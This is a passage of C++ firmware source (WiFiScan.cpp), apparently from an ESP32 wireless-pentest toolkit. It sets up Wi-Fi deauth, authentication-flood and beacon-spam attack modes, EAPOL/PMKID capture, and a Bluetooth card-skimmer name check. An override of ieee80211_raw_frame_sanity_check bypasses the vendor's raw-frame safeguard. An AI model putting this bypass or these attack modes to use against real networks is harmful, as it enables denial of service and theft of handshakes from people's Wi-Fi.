WiFiScan.cpp 97 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  238. RunEapolScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_AP)
  240. RunBeaconScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  242. RunAPScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  244. RunAPScan(scan_mode, color);
  245. else if (scan_mode == WIFI_SCAN_PWN)
  246. RunPwnScan(scan_mode, color);
  247. else if (scan_mode == WIFI_SCAN_DEAUTH)
  248. RunDeauthScan(scan_mode, color);
  249. else if (scan_mode == WIFI_PACKET_MONITOR) {
  250. #ifdef HAS_SCREEN
  251. RunPacketMonitor(scan_mode, color);
  252. #endif
  253. }
  254. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  255. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  256. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  257. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  258. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  259. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  260. else if (scan_mode == WIFI_ATTACK_AUTH)
  261. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  262. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  263. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  264. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  265. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  266. else if (scan_mode == BT_SCAN_ALL) {
  267. #ifdef HAS_BT
  268. RunBluetoothScan(scan_mode, color);
  269. #endif
  270. }
  271. else if (scan_mode == BT_SCAN_SKIMMERS) {
  272. #ifdef HAS_BT
  273. RunBluetoothScan(scan_mode, color);
  274. #endif
  275. }
  276. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  277. RunEspressifScan(scan_mode, color);
  278. else if (scan_mode == LV_JOIN_WIFI) {
  279. #ifdef HAS_SCREEN
  280. RunLvJoinWiFi(scan_mode, color);
  281. #endif
  282. }
  283. else if (scan_mode == LV_ADD_SSID) {
  284. #ifdef HAS_SCREEN
  285. RunLvJoinWiFi(scan_mode, color);
  286. #endif
  287. }
  288. WiFiScan::currentScanMode = scan_mode;
  289. }
  290. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  291. // Common wifi attack configurations
  292. #ifdef HAS_SCREEN
  293. display_obj.TOP_FIXED_AREA_2 = 48;
  294. display_obj.tteBar = true;
  295. display_obj.print_delay_1 = 15;
  296. display_obj.print_delay_2 = 10;
  297. display_obj.initScrollValues(true);
  298. display_obj.tft.setTextWrap(false);
  299. display_obj.tft.setTextColor(TFT_BLACK, color);
  300. display_obj.tft.fillRect(0,16,240,16, color);
  301. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  302. display_obj.touchToExit();
  303. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  304. #endif
  305. packets_sent = 0;
  306. esp_wifi_init(&cfg);
  307. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  308. esp_wifi_set_mode(WIFI_AP_STA);
  309. esp_wifi_start();
  310. esp_wifi_set_promiscuous_filter(NULL);
  311. esp_wifi_set_promiscuous(true);
  312. esp_wifi_set_max_tx_power(78);
  313. this->wifi_initialized = true;
  314. initTime = millis();
  315. }
  316. bool WiFiScan::shutdownWiFi() {
  317. if (this->wifi_initialized) {
  318. esp_wifi_set_promiscuous(false);
  319. WiFi.disconnect();
  320. WiFi.mode(WIFI_OFF);
  321. esp_wifi_set_mode(WIFI_MODE_NULL);
  322. esp_wifi_stop();
  323. esp_wifi_deinit();
  324. this->wifi_initialized = false;
  325. return true;
  326. }
  327. else {
  328. return false;
  329. }
  330. }
  331. bool WiFiScan::shutdownBLE() {
  332. #ifdef HAS_BT
  333. if (this->ble_initialized) {
  334. pBLEScan->stop();
  335. pBLEScan->clearResults();
  336. BLEDevice::deinit();
  337. this->ble_initialized = false;
  338. return true;
  339. }
  340. else {
  341. return false;
  342. }
  343. #endif
  344. return true;
  345. }
  346. // Function to stop all wifi scans
  347. void WiFiScan::StopScan(uint8_t scan_mode)
  348. {
  349. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  350. (currentScanMode == WIFI_SCAN_AP) ||
  351. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  352. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  353. (currentScanMode == WIFI_SCAN_PWN) ||
  354. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  355. (currentScanMode == WIFI_SCAN_EAPOL) ||
  356. (currentScanMode == WIFI_SCAN_ALL) ||
  357. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  358. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  359. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  360. (currentScanMode == WIFI_ATTACK_AUTH) ||
  361. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  362. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  363. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  364. (currentScanMode == WIFI_PACKET_MONITOR) ||
  365. (currentScanMode == LV_JOIN_WIFI))
  366. {
  367. this->shutdownWiFi();
  368. }
  369. else if ((currentScanMode == BT_SCAN_ALL) ||
  370. (currentScanMode == BT_SCAN_SKIMMERS))
  371. {
  372. #ifdef HAS_BT
  373. this->shutdownBLE();
  374. #endif
  375. }
  376. #ifdef HAS_SCREEN
  377. display_obj.display_buffer->clear();
  378. //Serial.print("display_buffer->size(): ");
  379. Serial.println(display_obj.display_buffer->size());
  380. display_obj.tteBar = false;
  381. #endif
  382. }
  383. String WiFiScan::getStaMAC()
  384. {
  385. char *buf;
  386. uint8_t mac[6];
  387. char macAddrChr[18] = {0};
  388. esp_wifi_init(&cfg);
  389. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  390. esp_wifi_set_mode(WIFI_MODE_NULL);
  391. esp_wifi_start();
  392. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  393. this->wifi_initialized = true;
  394. sprintf(macAddrChr,
  395. "%02X:%02X:%02X:%02X:%02X:%02X",
  396. mac[0],
  397. mac[1],
  398. mac[2],
  399. mac[3],
  400. mac[4],
  401. mac[5]);
  402. this->shutdownWiFi();
  403. return String(macAddrChr);
  404. }
  405. String WiFiScan::getApMAC()
  406. {
  407. char *buf;
  408. uint8_t mac[6];
  409. char macAddrChr[18] = {0};
  410. esp_wifi_init(&cfg);
  411. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  412. esp_wifi_set_mode(WIFI_MODE_NULL);
  413. esp_wifi_start();
  414. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  415. this->wifi_initialized = true;
  416. sprintf(macAddrChr,
  417. "%02X:%02X:%02X:%02X:%02X:%02X",
  418. mac[0],
  419. mac[1],
  420. mac[2],
  421. mac[3],
  422. mac[4],
  423. mac[5]);
  424. this->shutdownWiFi();
  425. return String(macAddrChr);
  426. }
  427. String WiFiScan::freeRAM()
  428. {
  429. char s[150];
  430. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  431. this->free_ram = String(esp_get_free_heap_size());
  432. return String(s);
  433. }
  434. // Function to start running a beacon scan
  435. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  436. {
  437. sd_obj.openCapture("ap");
  438. Serial.println(text_table4[9] + (String)access_points->size());
  439. #ifdef HAS_SCREEN
  440. display_obj.TOP_FIXED_AREA_2 = 48;
  441. display_obj.tteBar = true;
  442. display_obj.print_delay_1 = 15;
  443. display_obj.print_delay_2 = 10;
  444. display_obj.initScrollValues(true);
  445. display_obj.tft.setTextWrap(false);
  446. display_obj.tft.setTextColor(TFT_WHITE, color);
  447. display_obj.tft.fillRect(0,16,240,16, color);
  448. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  449. display_obj.touchToExit();
  450. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  451. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  452. #endif
  453. esp_wifi_init(&cfg);
  454. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  455. esp_wifi_set_mode(WIFI_MODE_NULL);
  456. esp_wifi_start();
  457. esp_wifi_set_promiscuous(true);
  458. esp_wifi_set_promiscuous_filter(&filt);
  459. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  460. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  461. //else
  462. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  463. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  464. this->wifi_initialized = true;
  465. initTime = millis();
  466. }
  467. #ifdef HAS_SCREEN
  468. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  469. display_obj.tft.init();
  470. display_obj.tft.setRotation(1);
  471. #ifdef TFT_SHIELD
  472. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  473. Serial.println("Using TFT Shield");
  474. #else if defined(TFT_DIY)
  475. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  476. Serial.println("Using TFT DIY");
  477. #endif
  478. display_obj.tft.setTouch(calData);
  479. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  480. lv_disp_load_scr(scr);
  481. }
  482. #endif
  483. void WiFiScan::RunClearAPs() {
  484. #ifdef HAS_SCREEN
  485. display_obj.tft.setTextWrap(false);
  486. display_obj.tft.setFreeFont(NULL);
  487. display_obj.tft.setCursor(0, 100);
  488. display_obj.tft.setTextSize(1);
  489. display_obj.tft.setTextColor(TFT_CYAN);
  490. display_obj.tft.println(F(text_table4[9]));
  491. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  492. #else
  493. this->clearAPs();
  494. #endif
  495. }
  496. void WiFiScan::RunClearSSIDs() {
  497. #ifdef HAS_SCREEN
  498. display_obj.tft.setTextWrap(false);
  499. display_obj.tft.setFreeFont(NULL);
  500. display_obj.tft.setCursor(0, 100);
  501. display_obj.tft.setTextSize(1);
  502. display_obj.tft.setTextColor(TFT_CYAN);
  503. display_obj.tft.println(F(text_table4[11]));
  504. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  505. #else
  506. this->clearSSIDs();
  507. #endif
  508. }
  509. void WiFiScan::RunGenerateSSIDs(int count) {
  510. #ifdef HAS_SCREEN
  511. display_obj.tft.setTextWrap(false);
  512. display_obj.tft.setFreeFont(NULL);
  513. display_obj.tft.setCursor(0, 100);
  514. display_obj.tft.setTextSize(1);
  515. display_obj.tft.setTextColor(TFT_CYAN);
  516. display_obj.tft.println(F(text_table4[13]));
  517. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  518. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  519. #else
  520. this->generateSSIDs(count);
  521. #endif
  522. }
  523. void WiFiScan::RunShutdownWiFi() {
  524. #ifdef HAS_SCREEN
  525. display_obj.tft.setTextWrap(false);
  526. display_obj.tft.setFreeFont(NULL);
  527. display_obj.tft.setCursor(0, 100);
  528. display_obj.tft.setTextSize(1);
  529. display_obj.tft.setTextColor(TFT_CYAN);
  530. display_obj.tft.print(F(text_table4[16]));
  531. #endif
  532. if (this->wifi_initialized) {
  533. this->shutdownWiFi();
  534. #ifdef HAS_SCREEN
  535. display_obj.tft.setTextColor(TFT_GREEN);
  536. display_obj.tft.println(F("OK"));
  537. #endif
  538. }
  539. else {
  540. #ifdef HAS_SCREEN
  541. display_obj.tft.setTextColor(TFT_RED);
  542. display_obj.tft.println(F(text17));
  543. display_obj.tft.println(F(text_table4[17]));
  544. #endif
  545. }
  546. }
  547. void WiFiScan::RunShutdownBLE() {
  548. #ifdef HAS_SCREEN
  549. display_obj.tft.setTextWrap(false);
  550. display_obj.tft.setFreeFont(NULL);
  551. display_obj.tft.setCursor(0, 100);
  552. display_obj.tft.setTextSize(1);
  553. display_obj.tft.setTextColor(TFT_CYAN);
  554. display_obj.tft.print(F(text_table4[18]));
  555. #endif
  556. if (this->ble_initialized) {
  557. this->shutdownBLE();
  558. #ifdef HAS_SCREEN
  559. display_obj.tft.setTextColor(TFT_GREEN);
  560. display_obj.tft.println(F("OK"));
  561. #endif
  562. }
  563. else {
  564. #ifdef HAS_SCREEN
  565. display_obj.tft.setTextColor(TFT_RED);
  566. display_obj.tft.println(F(text17));
  567. display_obj.tft.println(F(text_table4[19]));
  568. #endif
  569. }
  570. }
  571. void WiFiScan::RunInfo()
  572. {
  573. String sta_mac = this->getStaMAC();
  574. String ap_mac = this->getApMAC();
  575. String free_ram = this->freeRAM();
  576. //Serial.print("STA MAC: ");
  577. //Serial.println(sta_mac);
  578. //Serial.print("AP MAC: ");
  579. //Serial.println(ap_mac);
  580. Serial.println(free_ram);
  581. #ifdef HAS_SCREEN
  582. display_obj.tft.setTextWrap(false);
  583. display_obj.tft.setFreeFont(NULL);
  584. display_obj.tft.setCursor(0, 100);
  585. display_obj.tft.setTextSize(1);
  586. display_obj.tft.setTextColor(TFT_CYAN);
  587. display_obj.tft.println(text_table4[20]);
  588. display_obj.tft.println(text_table4[21] + display_obj.version_number + "\n");
  589. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  590. #endif
  591. if (this->wsl_bypass_enabled) {
  592. #ifdef HAS_SCREEN
  593. display_obj.tft.println(text_table4[23]);
  594. #endif
  595. }
  596. else {
  597. #ifdef HAS_SCREEN
  598. display_obj.tft.println(text_table4[24]);
  599. #endif
  600. }
  601. #ifdef HAS_SCREEN
  602. display_obj.tft.println(text_table4[25] + sta_mac);
  603. display_obj.tft.println(text_table4[26] + ap_mac);
  604. display_obj.tft.println(text_table4[27] + free_ram);
  605. #endif
  606. if (sd_obj.supported) {
  607. #ifdef HAS_SCREEN
  608. display_obj.tft.println(text_table4[28]);
  609. display_obj.tft.print(text_table4[29]);
  610. display_obj.tft.print(sd_obj.card_sz);
  611. display_obj.tft.println("MB");
  612. #endif
  613. }
  614. else {
  615. #ifdef HAS_SCREEN
  616. display_obj.tft.println(text_table4[30]);
